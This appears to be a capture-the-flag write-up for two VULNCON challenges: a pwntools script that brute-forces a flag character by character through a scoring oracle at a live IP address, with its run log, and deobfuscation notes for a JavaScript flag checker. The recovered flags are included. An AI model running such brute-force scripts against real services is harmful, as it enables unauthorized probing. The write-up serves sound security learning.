  \__/\  /  \___  >____/\___  >____/|__|_|  /\___  >
       \/       \/          \/            \/     \/

(>'-')>
Hello! this is Kirby!!! I love to check the spelling of the FLAG!
You have to spell it correctly and you'll win! Good luck!!!

Press ENTER to start...

[?]> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

<(^-^)>
Thanks for playing!
Hmmmm!!! Don't be sad!!! Your score = 0/33

Since the challenge gives us an oracle that tells us how many characters matches the flag, we can just iterate it character by character using the following script:

#!/usr/bin/env python

from pwn import *

import string

# 24 b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 9/33\n"
flag_len = 24 + len("VULNCON{}")

# Exclude whitespace
CHARSET = string.printable[:94]


def attempt(data):
    p = remote("34.76.165.98", 4545)

    data = "VULNCON{" + data + "A" * (24 - len(data)) + "}"

    p.sendline(b"")
    p.sendline(data.encode())

    p.recvuntil(b"[?]> ")

    data = p.recvall()
    score = None
    if b"Your score" in data:
        temp = data.strip()
        score = int(temp[temp.index(b'=') + 2:temp.index(b'/')])

    p.close()

    return data, score


def main():
    # The flag only has 9 correct characters at this point.
    # e.g. starting = "VULNCON{" + "A" * 24 + "}"
    middle_part = ""
    matching = 9
    for i in range(24):
        for candidate in CHARSET:
            result, score = attempt(middle_part + candidate)
            print(result, score, middle_part)
            if score > matching:
                middle_part += candidate
                matching = score
                break

    log.success("Flag: " + "VULNCON{" + middle_part + "}")


if __name__ == '__main__':
    main()

Running the exploit gives us the flag eventually:

$ python exploit.py
[+] Opening connection to 34.76.165.98 on port 4545: Done
[+] Receiving all data: Done (72B)
[*] Closed connection to 34.76.165.98 port 4545
b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 9/33\n" 9
[+] Opening connection to 34.76.165.98 on port 4545: Done
[+] Receiving all data: Done (72B)
[*] Closed connection to 34.76.165.98 port 4545
b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 9/33\n" 9
[+] Opening connection to 34.76.165.98 on port 4545: Done
[+] Receiving all data: Done (72B)
[*] Closed connection to 34.76.165.98 port 4545
b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 9/33\n" 9
[+] Opening connection to 34.76.165.98 on port 4545: Done
[+] Receiving all data: Done (72B)
[*] Closed connection to 34.76.165.98 port 4545
b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 9/33\n" 9
[+] Opening connection to 34.76.165.98 on port 4545: Done


...

[*] Closed connection to 34.76.165.98 port 4545
b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 32/33\n" 32 k1rby_7h3_5p3ll_ch3ck3r
[+] Opening connection to 34.76.165.98 on port 4545: Done
[+] Receiving all data: Done (73B)
[*] Closed connection to 34.76.165.98 port 4545
b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 32/33\n" 32 k1rby_7h3_5p3ll_ch3ck3r
[+] Opening connection to 34.76.165.98 on port 4545: Done
[+] Receiving all data: Done (58B)
[*] Closed connection to 34.76.165.98 port 4545
b'\n<(^-^)>\nThanks for playing!\nYeyyyy!!! Your score = 33/33\n' 33 k1rby_7h3_5p3ll_ch3ck3r
[+] Flag: VULNCON{k1rby_7h3_5p3ll_ch3ck3r!}

Flag: VULNCON{k1rby_7h3_5p3ll_ch3ck3r!}

Reverse/JS is Awesome

Reverse/JS is Awesome
1gn1te
8 solves / 482 points
A simple web flag checker

Attachment: challenge file

Solution

This was a pain and manually deobfuscated. Here are my notes:

Must start with VULNCON{ and end with }

Must contain a body of five groups separated by _

Constraints 1

    data[2].length == 2 // data[2] must be length of 2
    ||
    data[1].length == 2
    ||
    data[1][1] == data[2][1]
    ||
    data[2][1] - data[2][0]) == 4 // data[2][1] and data[2][0] must be numerical
    ||
    data[1][0].charCodeAt(0) - data[1][1]) == 101
    ||
    data[1][0] == 'j')


Constraints 2

    compare(runfun(xor, data[3]), 'f`C`?e') // data[3] == "71r1n6"
    ||
    compare(runfun2(a, data[3], data[0]), [150, 234, 151, 101, 189, 29, 57, 44, 194, 164])
    // data[0] is length 10
    // a(expkey, expected)
    // '0bfu5c473d'


Putting it together

0bfu5c473d_j5_15_71r1n6_ABCDEF

Constraints 3


    for (let i = 0; i < data[4].length; i++) {
        text += String.fromCharCode(xor(data[0][i].charCodeAt(0), data[4][i].charCodeAt(0)));
    }

	// In [142]: xor(b'0bfu5c473d', [85, 1, 84, 76, 3, 87, 2, 84, 11, 6])
	// Out[142]: b'ec29646c8b'

Final:

VULNCON{0bfu5c473d_j5_15_71r1n6_ec29646c8b}

Flag: VULNCON{0bfu5c473d_j5_15_71r1n6_ec29646c8b}

Leave a Comment